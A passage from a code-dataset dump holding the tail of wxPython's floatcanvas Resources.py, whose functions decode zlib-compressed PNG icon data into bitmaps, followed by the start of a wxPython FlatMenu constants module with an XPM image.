\\xcc\\xc1\\\n\\x06$\\x1f\\x94\\xdb\\xfe\\x00R,\\xc5N\\x9e!\\x1c@P\\xc3\\x91\\xd2\\x01\\xe4\\xdf\\xf6tq\\\n\\x0c\\xa9\\x98\\xb354\\x9a\\xaf\\xc5\\x80#e\\xd5w\\xfb\\x8d\\xa7\\xea.\\xa6j\\x06\\xec\\xeaU\\\nQ[vE\\xb2m\\xba\\x83\\xf5\\x0b_k\\xe5\\xe3\\xc5\\xf12?o\\x15.\\xf2b\\xf0ol`V\\xe63\\xd6\\\n\\x9f\\xc8\\xc35\\xefw\\x12\\xff\\x0fi\\xc1\\x96\\x0em\\x15{\\x16\\xb1\\x98E_9\\x18\\xa6x\\\n\\xdc\\xe2\\xdaa\\xcb>\\xe1\\xda*\\xe1\\x1b\\xde\\x82\\x15O\\xfc\\xa5\\x9d\\xdc\\x83\\x19\\xb7\\\n\\xabD\\xee\\xed\\x98dv\\xd6n\\r\\x9b\\xe3\\x12\\x91=\\xa9\\xeb\\x85[4\\xa3<\\x9d\\xd3b\\x1d\\\n\\xb7f$]]\\x96\\xe1\\xf2\\xf8\\xc6y\\x8f5\\xf6\\xd2\\xdb\\x96\\xe9\\xdfT\\\\\\xd5p\\xbe-7\\xa2\\\nls\\xac\\x88\\xa4\\xf1n\\xaf6=!\\xd5\\x9b\\xab:\\xca\\xa6,?\\x92\\x1b\\xdc\\xe9r\\xe0\\xcb\\\n\\xe2\\xe6\\x15\\x13v\\xfco^\\xe5\\xfa\\xf2\\xca\\xcb[R[\\xba&\\xbd\\xf5\\xec\\xf3\\xd8U?\\\n\\xfd\\x80\\xf2EM\\xae\\xf0\\xa3\\xf3Ut\\xde\\x17\\xed\\x0b}\\xd2U\\xcb0Ugv\\x82\\xa1Q\\xc7S\\\n\\xa07\\x19<]\\xfd\\\\\\xd69%4\\x01\\x00+\\xecq\\xf9' )\n\ndef getMagMinusBitmap():\n return BitmapFromImage(getMagMinusImage())\n\ndef getMagMinusImage():\n stream = cStringIO.StringIO(getMagMinusData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMoveButtonData():\n return zlib.decompress(\n'x\\xda\\x01,\\x01\\xd3\\xfe\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x18\\\n\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0w=\\xf8\\x00\\x00\\x00\\x04sBIT\\x08\\x08\\\n\\x08\\x08|\\x08d\\x88\\x00\\x00\\x00\\xe3IDATx\\x9c\\xb5\\x96\\xd1\\x16\\x84 \\x08D\\x19\\\n\\xf5\\xff\\xbf\\xb8\\x9a}Y[\\xc2P\\xe8\\xb4<\\xaa\\xcc\\x15\\x1c-\\xa0T\\x89\\xc6\\xb1o\\x14\\\n\\x11)\\xb5!\\x9aS2\\xe2\\x00\\x04\\xc0\\tz\\r\\xd0\\xc5{d K\\x80\\x15\\xcfB\\xa6\\x00O<\\x03\\\nq\\x01+\\xf1(\\xa4\\xb9\\xe4\\xda@\\xf2\\x92\\xd8\\x81fx\\xea\\xaa\\x01p\\xec\\x1b{\\x82N\\\n\\xb4\\xbb\\xb4\\xa2\\x9e\\x85\\x8b]\\x94\\xb5\\xa1\\x8e\\xbb\\xdc\\x13\\xa0{\\x9e\\xb9H+\\x08\\\nP\\xeap\\xa0\\xb6\\xc7:92\\xdf\\xd7\\x94\\xda\\x00\\x92!\\xb7<\\t\\x92\\xf1\\xa7\\xe2i\\xb4n\\\n\\xc7\\x7f\\xb5\\xa8\\x89\\xfc<\\xaf\\x17x6\\x8c\\xccwq\\x11\\xe5\\xa2/\\xe4\\xbe\\xceDh\\xf1\\\n\\x0b@C\\x9e\\xd8\\xd4\\xcb\\xc5\\xec\\x83c\\xdb\\xf2\\xcaS\\xa1\\xc5=\\xfb\\xdaq\\x92\\xf4 \\\n\\xaeM\\xa3g\\xb2j\\xe9\\xf4\\x1e\\xac \\x91\\r\\xb8-2\\x90\\xa1]Q3\\x84n\\xb2\\xad$\\xe3\\\n\\xb4e\\x05\\x06\\x92\\xfem\\xf9\\x00\\x8d\\xa7\\xbb\\x936\\xe9\\xf2\\xae\\x00\\x00\\x00\\x00I\\\nEND\\xaeB`\\x82\\xed\\x9c\\x836' )\n\ndef getMoveButtonBitmap():\n return BitmapFromImage(getMoveButtonImage())\n\ndef getMoveButtonImage():\n stream = cStringIO.StringIO(getMoveButtonData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMoveCursorData():\n return zlib.decompress(\n\"x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\xc2 \\xcc\\xc1\\\n\\x06$\\x8b\\x02\\xcc\\xce\\x00)\\x96b'\\xcf\\x10\\x0e \\xa8\\xe1H\\xe9\\x00\\xf2\\xd7z\\xba8\\\n\\x86T\\xccYz\\xe5\\xa0\\xd0a\\x05\\x0e\\x96\\x0b\\xb1_\\xff\\xef\\xb7\\xe0\\xb4-)\\x98\\xb0\\\n\\xe0\\xc6\\xab\\x8b/Ns\\xf5\\xa5\\xac<q\\xac8>(+y\\xdb\\xba7\\x0e*\\x1f\\xefL\\x97I\\xe4b<\\\n\\xc0gqTg\\x892\\xb3\\xb3NS\\xd9\\x01\\xf1eG\\xc5\\x04;z\\xaaK\\xd6]9\\xc6!c\\x10\\xfd&\\\n\\xf2\\xbbH\\x97P\\xd0\\xfa6\\xdbY\\xbe)\\xfd\\xd2g\\xb3/\\xf5\\xad\\xcd\\xdab,\\xb2\\xa4C\\\n\\xc6\\x91y\\xc5Q\\xbb\\xb6\\xacd\\xe6}\\xae[9\\xff\\xaf\\x8d|\\xbf\\xcc\\x7f\\xc7\\xabe\\xfe\\\nW\\xf6\\xffl]]\\xcd\\xd2\\xf3\\xfd\\xc2\\xff\\t\\x17WO,5o\\x8a;Ys(~\\x81\\xa6\\x19s\\xf8\\\n\\x05\\xa1\\xcf\\tlKg\\xb0\\x96\\xc7\\xdd\\xe2_\\xd9\\xbe,\\xc7\\xc4,\\xf8=\\xd0\\xe1\\x0c\\\n\\x9e\\xae~.\\xeb\\x9c\\x12\\x9a\\x00\\x0b\\xb6b\\x8e\" )\n\ndef getMoveCursorBitmap():\n return BitmapFromImage(getMoveCursorImage())\n\ndef getMoveCursorImage():\n stream = cStringIO.StringIO(getMoveCursorData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMoveRLCursorData():\n return zlib.decompress(\n\"x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\xc2 \\xcc\\xc1\\\n\\x06$\\x8b\\x02\\xcc\\xce\\x00)\\x96b'\\xcf\\x10\\x0e \\xa8\\xe1H\\xe9\\x00\\xf2{<]\\x1cC*\\\n\\xe6\\x9c\\xbd\\xe2\\xc8\\xd7\\xa0\\xc0\\xc3r \\xf6\\xc1\\x7f}\\xb6WG\\xa5Z\\xa75H=\\x96\\\n\\x93\\xb6Z\\xb8\\xa4\\x91G0_u\\x8fZm\\xdb\\xd5I\\xa9K\\xdf%mMQ\\xbciZU*~\\xb9-\\xd0\\xe6C\\\n\\xd3Y\\x07\\xe5\\t\\xbb\\xa4\\xc4T.\\xf9'\\xcf\\xe54\\xfcx ,/\\xc5\\xd5\\xb1\\xeb\\x84\\xf2\\\n\\x0b\\xa6\\xb6\\x19\\x19\\xbd\\xc5\\xcf\\xd38\\x19\\xca>|\\x9c\\xad\\xaa[\\xb5@\\x8e\\xe5W\\\n\\xab\\xad\\xb3\\xc3f)m\\xe5\\xed\\x01\\xedg\\x9b\\xc4X\\xe6|[\\xe3\\xab\\x1b\\xb9\\x86m\\xbd\\\n\\xdd\\x91wO\\xf6\\xff\\xbf\\xc9\\xf6\\xc6#\\xdf|\\x8be\\x98\\x16\\xd0]\\x0c\\x9e\\xae~.\\xeb\\\n\\x9c\\x12\\x9a\\x00\\x11\\x04M\\x96\" )\n\ndef getMoveRLCursorBitmap():\n return BitmapFromImage(getMoveRLCursorImage())\n\ndef getMoveRLCursorImage():\n stream = cStringIO.StringIO(getMoveRLCursorData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMoveUDCursorData():\n return zlib.decompress(\n'x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\xc2 \\xcc\\xc1\\\n\\x06$\\x8b\\x02\\xcc\\xce\\x00)\\x96b\\'\\xcf\\x10\\x0e \\xa8\\xe1H\\xe9\\x00\\xf2gx\\xba8\\\n\\x86T\\xccY{\\xc5\\x91\\xef\\x88\\x02\\x07k@\\xc0\\xfb\\xfaG\\xdb\\xf6\\xcf6\\x14t\\xb1\\x9b\\\n,\\xb9\\xedE\\xb7\\xc2\\xaa[\\xbb6T\\xbc\\xe3^\\xcb\\x9f\\xfa:\\x8a5(\\xb4\\xf2\\x1d\\xb7}\\\n\\xa2\\xb0\\x90\\xe0\\xca\\x06\\xf7\\x9c\\xd64\\x03\\x83#J+\\x98\\xf2\"\\xd8\\x0c/$\\x88j0\\\n\\xb7O\\xfc\\x1d\\xc0\\xf0av\\xda\\x8e)?\\n\\rg\\xc4\\x0bL\\x9btFz\\xee\\xe6\\xfcG\\xebo\\x84\\\n\\xa9I\\x9f1\\x9d\\xff\\xad\\xe7\\xee\\xb2\\xf3\\x8c\\x06\\xf9\\xd7\\xa6\\xfc\\xdcy\\xf6M\\x82\\\n\\xf6\\x96\\xb99\\xaf#Y{\\x16\\x08$?\\xe0\\xb4JR7h\\x0e:\\xd3\\xcc\\xb3\\xe8\\x06WX\\xdd-\\\n\\xf1\\xf5<\\x05n\\xca[\\xef\\xfd\\x01\\xba\\x91\\xc1\\xd3\\xd5\\xcfe\\x9dSB\\x13\\x00/\\x9bT\\\ns' )\n\ndef getMoveUDCursorBitmap():\n return BitmapFromImage(getMoveUDCursorImage())\n\ndef getMoveUDCursorImage():\n stream = cStringIO.StringIO(getMoveUDCursorData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getGrabHandData():\n return zlib.decompress(\n'x\\xda\\x01Z\\x01\\xa5\\xfe\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x18\\\n\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0w=\\xf8\\x00\\x00\\x00\\x04sBIT\\x08\\x08\\\n\\x08\\x08|\\x08d\\x88\\x00\\x00\\x01\\x11IDATx\\x9c\\xb5U\\xd1\\x12\\x830\\x08Kh\\xff\\xff\\\n\\x8b7\\xb3\\x97\\xd1C\\xa4Zw\\x93;\\x1fJ1\\t\\x98VJ\\x92\\xb5N<\\x14\\x04 I\\x00\\x80H\\xb4\\\n\\xbd_\\x8a9_{\\\\\\x89\\xf2z\\x02\\x18/J\\x82\\xb5\\xce\\xed\\xfd\\x12\\xc9\\x91\\x03\\x00_\\\n\\xc7\\xda\\x8al\\x00{\\xfdW\\xfex\\xf2zeO\\x92h\\xed\\x80\\x05@\\xa45D\\xc5\\xb3\\x98u\\x12\\\n\\xf7\\xab.\\xa9\\xd0k\\x1eK\\x95\\xbb\\x1a]&0\\x92\\xf0\\'\\xc6]gI\\xda\\tsr\\xab\\x8aI\\x1e\\\n\\\\\\xe3\\xa4\\x0e\\xb4*`7\"\\x07\\x8f\\xaa\"x\\x05\\xe0\\xdfo6B\\xf3\\x17\\xe3\\x98r\\xf1\\xaf\\\n\\x07\\xd1Z\\'%\\x95\\x0erW\\xac\\x8c\\xe3\\xe0\\xfd\\xd8AN\\xae\\xb8\\xa3R\\x9as>\\x11\\x8bl\\\nyD\\xab\\x1f\\xf3\\xec\\x1cY\\x06\\x89$\\xbf\\x80\\xfb\\x14\\\\dw\\x90x\\x12\\xa3+\\xeeD\\x16%\\\nI\\xe3\\x1c\\xb8\\xc7c\\'\\xd5Y8S\\x9f\\xc3Zg\\xcf\\x89\\xe8\\xaao\\'\\xbbk{U\\xfd\\xc0\\xacX\\\n\\xab\\xbb\\xe8\\xae\\xfa)AEr\\x15g\\x86(\\t\\xfe\\x19\\xa4\\xb5\\xe9f\\xfem\\xde\\xdd\\xbf$\\\n\\xf8G<>\\xa2\\xc7\\t>\\tE\\xfc\\x8a\\xf6\\x8dqc\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82\\xdb\\\n\\xd0\\x8f\\n' )\n\ndef getGrabHandBitmap():\n return BitmapFromImage(getGrabHandImage())\n\ndef getGrabHandImage():\n stream = cStringIO.StringIO(getGrabHandData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getHandData():\n return zlib.decompress(\n'x\\xda\\x01Y\\x01\\xa6\\xfe\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x18\\\n\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0w=\\xf8\\x00\\x00\\x00\\x04sBIT\\x08\\x08\\\n\\x08\\x08|\\x08d\\x88\\x00\\x00\\x01\\x10IDATx\\x9c\\xad\\x96\\xe1\\x02\\xc2 \\x08\\x849\\\n\\xf5\\xfd\\x9fx\\xdb\\xf5\\'\\x8c!\\xa8\\xab\\xee\\x975\\xe5\\x83\\x0b\\\\@\\xa9\\xb2\\xab\\xeb\\\n<\\xa8\\xebR\\x1bv\\xce\\xb4\\'\\xc1\\x81OL\\x92\\xdc\\x81\\x0c\\x00\\x1b\\x88\\xa4\\x94\\xda\\\n\\xe0\\x83\\x8b\\x88\\x00\\x10\\x92\\xcb\\x8a\\xca,K\\x1fT\\xa1\\x1e\\x04\\xe0f_\\n\\x88\\x02\\\n\\xf1:\\xc3\\x83>\\x81\\x0c\\x92\\x02v\\xe5+\\xba\\xce\\x83\\xb7f\\xb8\\xd1\\x9c\\x8fz8\\xb2*\\\n\\x93\\xb7l\\xa8\\xe0\\x9b\\xa06\\xb8]_\\xe7\\xc1\\x01\\x10U\\xe1m\\x98\\xc9\\xefm\"ck\\xea\\\n\\x1a\\x80\\xa0Th\\xb9\\xfd\\x877{V*Qk\\xda,\\xb4\\x8b\\xf4;[\\xa1\\xcf6\\xaa4\\x9cd\\x85X\\\n\\xb0\\r\\\\j\\x83\\x9dd\\x92\\xc3 \\xf6\\xbd\\xab\\x0c2\\x05\\xc0p\\x9a\\xa7]\\xf4\\x14\\x18]3\\\n7\\x80}h?\\xff\\xa2\\xa2\\xe5e\\x90\\xact\\xaf\\xe8B\\x14y[4\\x83|\\x13\\xdc\\x9e\\xeb\\x16e\\\n\\x90\\xa7\\xf2I\\rw\\x91\\x87d\\xd7p\\x96\\xbd\\xd70\\x07\\xda\\xe3v\\x9a\\xf5\\xc5\\xb2\\xb2\\\n+\\xb24\\xbc\\xaew\\xedZe\\x9f\\x02\"\\xc8J\\xdb\\x83\\xf6oa\\xf5\\xb7\\xa5\\xbf8\\x12\\xffW\\\n\\xcf_\\xbd;\\xe4\\x8c\\x03\\x10\\xdb^\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82\\xd1>\\x97B' )\n\ndef getHandBitmap():\n return BitmapFromImage(getHandImage())\n\ndef getHandImage():\n stream = cStringIO.StringIO(getHandData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getGrabHand16Data():\n return zlib.decompress(\n'x\\xda\\x01\\x0f\\x01\\xf0\\xfe\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\\n\\x10\\x00\\x00\\x00\\x10\\x08\\x06\\x00\\x00\\x00\\x1f\\xf3\\xffa\\x00\\x00\\x00\\x04sBIT\\\n\\x08\\x08\\x08\\x08|\\x08d\\x88\\x00\\x00\\x00\\xc6IDATx\\x9c\\x9d\\x92Qn\\x031\\x08D\\x07\\\n\\xd6\\xc7\\xc0\\xf7?\\x98}\\x8c$\\xaf\\x1f[,\\xaf\\xb5n\\x9a !\\r\\x08\\x0f\\x0c\\xd8\\x00\\\n\\xfc(\\xa6o-\"\\x000?\\xc4\\xaf\\xedp\\xc6\\xe9\\x00\\xa5\\xf7\\xaeZ\\xab^\\xcf\\x07\\xb5VI\\\n\\xda\\xe2\\x8c\\x13\\x9b\\x99\\x06{N\\xf2\\x0e\\xa7KB\\x12\\xe5\\x13\\xb9\\xbdw\\x0123\\xc1\\\n\\x18\\xe4dZw1\\xeb\\x9c1\\xe7\\xcb\\xe1\\x0e(\".\\x9d\\xe6\\xab\\xec0 @%\\x17\\xd4Z\\xd3\\'\\\n\\xe74;K\\xbd\\xb5&I\\xe3\\x12\\x7f=\\xca\\x8bD\\x84\\xc6\\xe4\\xa9-\\xb7\\xbb\\xdez\\xd6\\\n\\xbf\\xd6\\x00xj\\xfb\\xef$\\xb3T?\\x8a\\xf9\\xbc\\xa0\\x1d\\xc9\\xfa\\x99f\\xf3K0\\x91\\xbc\\\n\\xeb~K\\xf0\\x8d\\x99\\xf9qI\\xbc\\x9e\\x0f\\xf2\\xa7e\\xb7\\xbb\\xdc\\x96 \\x1f\\xac\\x85w9\\\nI\\xfa\\x01\\xd6\\xd0\\xefe\\x16\\x16\\xb7\\x9b\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82\\x0bmo\\\n\\xbf' )\n\ndef getGrabHand16Bitmap():\n return BitmapFromImage(getGrabHand16Image())\n\ndef getGrabHand16Image():\n stream = cStringIO.StringIO(getGrabHand16Data())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMondrianData():\n return zlib.decompress(\n'x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\n \\xcc\\xc1\\x04\\\n$\\xffH\\xbc]\\x0c\\xa4\\x98\\x8b\\x9d<C888n?\\xf4\\x7f\\x00\\xe4\\xa6{\\xba8\\x86T\\xccy;\\\n\\xd5\\x93\\xaf\\xc1\\x80\\x87\\xd9\\xb6\\xa3\\xffc\\xd1<\\xb1u\"^G\\xc5\\x18\\x0f\\xd9\\xed\\\n\\x9a\\xf8\\xfc\\xc2\\x8e\\xa9\\x93Z\\x97\\xac\\xd8)\\x98\\xfd\\xbb\\xc2\\xaa\\xe4z\\xf0-\\xa3\\\n\\x07\\xec\\r%\\x0bo\\x9db~^\\xc50eo\\x11\\x7f\\x1c\\xc3\\x0ba\\xa3\\x93\\xacg\\xae\\x9f_\\\n\\xbf\\x92\\x91\\xcd#K\\x84\\xf7\\x86\\xd5.\\xf6\\r\\xcf\\xad\\x192u\\xd6&Z~\\xfekm\\xf0\\xa0\\\n\\xd27c\\x9e\\xa0kv\\xf2\\x83\\x17@+\\x19<]\\xfd\\\\\\xd69%4\\x01\\x00}A@\\xa3' )\n\ndef getMondrianBitmap():\n return BitmapFromImage(getMondrianImage())\n\ndef getMondrianImage():\n stream = cStringIO.StringIO(getMondrianData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getHand16Data():\n return zlib.decompress(\n'x\\xda\\x01\\x02\\x01\\xfd\\xfe\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\\n\\x10\\x00\\x00\\x00\\x10\\x08\\x06\\x00\\x00\\x00\\x1f\\xf3\\xffa\\x00\\x00\\x00\\x04sBIT\\\n\\x08\\x08\\x08\\x08|\\x08d\\x88\\x00\\x00\\x00\\xb9IDATx\\x9c\\x8dS\\xd1\\x0e\\x84 \\x0ck\\\n\\x87\\x9f\\x81\\xff\\xff\\x93j\\xef\\xe12\\xd8\\xcd\\xe1\\xb9\\xc4H\\xc6,m\\xa9\\xa45\\xac\\\n\\xea:\\x0f\\xf9\\xda\\xda\\xc6r\\x88\\xd6\\xc6\\xa3T\\xbdw\\x01\\x100\\xb7\\xe2<\\xad\\x81\\\n\\xce\\xe0:\\x0f\\x91\\xf3\\x10I 9\\xde\\xb1\\x1f\\x19Yf\\xe4\\x03\\xab>I\\x90\\x1c\\xf2\\xb6\\\n\\x95\\xfex\\xea\\nH\\x92n\\x0c\\x9c\\xf6\\xdb2`\\xba\\x9d\\xd0!\\t\\xd66>\\x02\\xea\\xbb\\xfb\\\n\\xe3\\xb4\\xaf\\xb3\\xe3\\xde\\x8b3\\x16\\x80\\xb0\\xef;\\x00\\xa0\\xf7^\\xd3\\xad\\xb2\\x10\\\n\\xd1\\xfc\\xee\\xcb\\xfbNL\\x06KZ\\x1b\\x19p\\xcdO\\xa6\\xe5Ysj\\x1e\\x98\\x18\\xdf\\x7f\\\n\\x1f\\x03!HoAn\\xfe<\\xeaK\\xfd\\xd2\\x9f\\xeao\\xac\\xa8\\xae|\\xba%1\\xca\\xc9U\\xf5>\\\n\\x98\\xdc\\xd9g\\xb0\\x13Hr\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82\\xde\\xa5p@' )\n\ndef getHand16Bitmap():\n return BitmapFromImage(getHand16Image())\n\ndef getHand16Image():\n stream = cStringIO.StringIO(getHand16Data())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMagPlus16Data():\n return zlib.decompress(\n\"x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\x02 \\xcc\\xc1\\\n\\x06$\\xe5?\\xffO\\x04R,\\xc5N\\x9e!\\x1c@P\\xc3\\x91\\xd2\\x01\\xe4o\\xf3tq\\x0c\\xa9\\x98\\\n358\\x9a\\xef\\xb0\\x01\\xc7\\xe3\\x89\\xc9S~\\xc7oZ\\xfb}c\\x93\\x86\\xe2\\xc5g\\xeb\\xb9\\\n\\x12\\x93}N\\xe9xI~/m\\xe2ra\\xbf>+9\\xc4\\xe8\\xf3\\x1dn\\x06\\xed\\x89\\x02\\x05F\\x06\\\n\\x92\\x0b\\x96\\xdf\\xeb\\xea\\xf1\\xfa\\xb6\\xec\\xb7U3\\x03\\x83\\xb7`\\x8d;\\x13C\\xc4\\\n\\x94\\x88/\\xcf\\xa5\\xba'\\x85x\\x9b\\x1e\\xd1\\xbbb\\xd6\\xbc\\xc7\\xeb\\x9e\\xed\\xce\\x9c\\\n\\x8fE\\nV\\x12\\x0e,/\\xef\\xef6\\xf6\\xd3\\xbe\\xf2Lvf\\x87G\\x8d\\x96\\xf1\\xf1}q\\xa7\\\n\\xc5\\r7\\xdf\\xf3\\x9d^t\\xb4PFa\\xd17.\\xc1G\\xc6\\xa5_\\x85\\x94\\x03\\x8c\\xab\\xf7\\n\\\n\\x9e\\xcaz\\xb7\\xe4\\xd0\\xeb\\xb5\\x93\\x7f\\x19\\xbf\\r8\\xcf\\x93\\xb0\\xef\\x10\\x9f\\\\\\\n\\xde\\x84\\xd2\\x0f\\xf1L\\x91G\\x8c\\x7f0t=<{\\xccE9L\\x01\\xe8\\x03\\x06OW?\\x97uN\\tM\\\n\\x00\\xe1\\xf8b\\xe3\" )\n\ndef getMagPlus16Bitmap():\n return BitmapFromImage(getMagPlus16Image())\n\ndef getMagPlus16Image():\n stream = cStringIO.StringIO(getMagPlus16Data())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMagMinus16Data():\n return zlib.decompress(\n\"x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\x02 \\xcc\\xc1\\\n\\x06$\\xe5?\\xffO\\x04R,\\xc5N\\x9e!\\x1c@P\\xc3\\x91\\xd2\\x01\\xe4\\xaf\\xf4tq\\x0c\\xa9\\\n\\x98\\xb36\\xd8Q\\xa8\\xc5\\x80C\\xf9\\x80\\xf1\\x9b\\xff\\xf6+\\xd3\\xf8\\xb5\\xb75\\x87\\\n\\xdc\\x9dy\\xd6P5\\xd3I4`\\xb2\\xe0\\xefmABWdfrW\\x881_\\x8f\\x9c4g\\xe6\\x1c6E5}\\xc6'\\\n\\x0f\\xbc\\x85\\xcf?\\xca\\xeaPIW\\x93\\xe0\\xcb\\xdf}N\\xefc\\x96Aq}\\xe4#mfSw\\xd35\\xcf\\\nVL\\x8a\\xe5\\x99\\xf7(\\xec\\xc2\\xe30\\xc6\\x80o\\xe2?\\xc3\\xb2\\xd7^\\xedn\\x9b\\xe5\\xa0\\\n[\\xb5\\xe9\\xd0&\\x1d\\x91\\x89\\x9fmL\\x02^\\x8b.\\xfa\\x9f\\xd2)T\\x93\\xed\\xfb-\\xf7\\\n\\xed\\xfd\\xc3/\\xc4<\\x8d\\x9a\\xf4'?\\x99\\xff\\x92\\xef\\xe7L\\xcf\\xae}a\\xdfg\\xc5\\xe6\\\n\\xf4\\xcd\\xe7q\\x9b|\\xe3 \\xfb\\xa7#\\x1bw\\xe4\\x1f\\xcdj\\x01:\\x9a\\xc1\\xd3\\xd5\\xcfe\\\n\\x9dSB\\x13\\x00<\\xbf^\\xf7\" )\n\ndef getMagMinus16Bitmap():\n return BitmapFromImage(getMagMinus16Image())\n\ndef getMagMinus16Image():\n stream = cStringIO.StringIO(getMagMinus16Data())\n return ImageFromStream(stream)\n\n", "id": "9684287", "language": "Python", "matching_score": 1.2025190591812134, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/floatcanvas/Resources.py" }, { "content": "import wx\n\n# Overall menu styles\nStyleDefault = 0\nStyleXP = 1\nStyle2007 = 2\nStyleVista = 3\n\n# Menu shadows\nRightShadow = 1 # Right side shadow\nBottomShadow = 2 # Not full bottom shadow\nBottomShadowFull = 4 # Full bottom shadow\n\n# Button styles\nBU_EXT_XP_STYLE = 1\nBU_EXT_2007_STYLE = 2\nBU_EXT_LEFT_ALIGN_STYLE = 4\nBU_EXT_CENTER_ALIGN_STYLE = 8\nBU_EXT_RIGHT_ALIGN_STYLE = 16\nBU_EXT_RIGHT_TO_LEFT_STYLE = 32\n\n# Control state\nControlPressed = 0\nControlFocus = 1\nControlDisabled = 2\nControlNormal = 3\n\n# FlatMenu styles\nFM_OPT_IS_LCD = 1\n\"\"\" Use this style if your computer uses a LCD screen. \"\"\"\nFM_OPT_MINIBAR = 2\n\"\"\" Use this if you plan to use the toolbar only. \"\"\"\nFM_OPT_SHOW_CUSTOMIZE = 4\n\"\"\" Show \"customize link\" in the `More` menu, you will need to write your own handler. See demo. \"\"\"\nFM_OPT_SHOW_TOOLBAR = 8\n\"\"\" Set this option is you are planning to use the toolbar. \"\"\"\n\n# Control status\nControlStatusNoFocus = 0\nControlStatusFocus = 1\nControlStatusPressed = 2\n\n# HitTest constants\nNoWhere = 0\nMenuItem = 1\nToolbarItem = 2\nDropDownArrowButton = 3\n\nFTB_ITEM_TOOL = 0\nFTB_ITEM_SEPARATOR = 1\nFTB_ITEM_CHECK = 2\nFTB_ITEM_RADIO = 3\n\nFTB_ITEM_RADIO_MENU = 4\nFTB_ITEM_CUSTOM = 5\n\nLargeIcons = 32\nSmallIcons = 16\n\nMENU_HT_NONE = 0\nMENU_HT_ITEM = 1\nMENU_HT_SCROLL_UP = 2\nMENU_HT_SCROLL_DOWN = 3\n\nMENU_DEC_TOP = 0\nMENU_DEC_BOTTOM = 1\nMENU_DEC_LEFT = 2\nMENU_DEC_RIGHT = 3\n\nDROP_DOWN_ARROW_WIDTH = 16\nSPACER = 12 \nMARGIN = 3\nTOOLBAR_SPACER = 4\nTOOLBAR_MARGIN = 4\nSEPARATOR_WIDTH = 12\nSCROLL_BTN_HEIGHT = 20\n\nCS_DROPSHADOW = 0x00020000\n\nINB_BOTTOM = 1\nINB_LEFT = 2\nINB_RIGHT = 4\nINB_TOP = 8\nINB_BORDER = 16\nINB_SHOW_ONLY_TEXT = 32\nINB_SHOW_ONLY_IMAGES = 64\nINB_FIT_BUTTON = 128\nINB_DRAW_SHADOW = 256\nINB_USE_PIN_BUTTON = 512\nINB_GRADIENT_BACKGROUND = 1024\nINB_WEB_HILITE = 2048\nINB_NO_RESIZE = 4096\nINB_FIT_LABELTEXT = 8192\n\nINB_DEFAULT_STYLE = INB_BORDER | INB_TOP | INB_USE_PIN_BUTTON\n\nINB_TAB_AREA_BACKGROUND_COLOUR = 100\nINB_ACTIVE_TAB_COLOUR = 101\nINB_TABS_BORDER_COLOUR = 102\nINB_TEXT_COLOUR = 103\nINB_ACTIVE_TEXT_COLOUR = 104\nINB_HILITE_TAB_COLOUR = 105\n\nINB_LABEL_BOOK_DEFAULT = INB_DRAW_SHADOW | INB_BORDER | INB_USE_PIN_BUTTON | INB_LEFT\n\n# HitTest results\nIMG_OVER_IMG = 0\nIMG_OVER_PIN = 1\nIMG_OVER_EW_BORDER = 2\nIMG_NONE = 3\n\n# Pin button states\nINB_PIN_NONE = 0\nINB_PIN_HOVER = 200\nINB_PIN_PRESSED = 201\n\n# Windows Vista Colours\nrgbSelectOuter = wx.Colour(170, 200, 245)\nrgbSelectInner = wx.Colour(230, 250, 250)\nrgbSelectTop = wx.Colour(210, 240, 250)\nrgbSelectBottom = wx.Colour(185, 215, 250)\n\ncheck_mark_xpm = [\" 16 16 16 1\",\n \"` c #000000\",\n \". c #800000\",\n \"# c #008000\",\n \"a c #808000\",\n \"b c #000080\",\n \"c c #800080\",\n \"d c #008080\",\n \"e c #808080\",\n \"f c #c0c0c0\",\n \"g c #ff0000\",\n \"h c #00ff00\",\n \"i c #ffff00\",\n \"j c #0000ff\",\n \"k c #ff00ff\",\n \"l c #00ffff\",\n \"m c #ffffff\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n 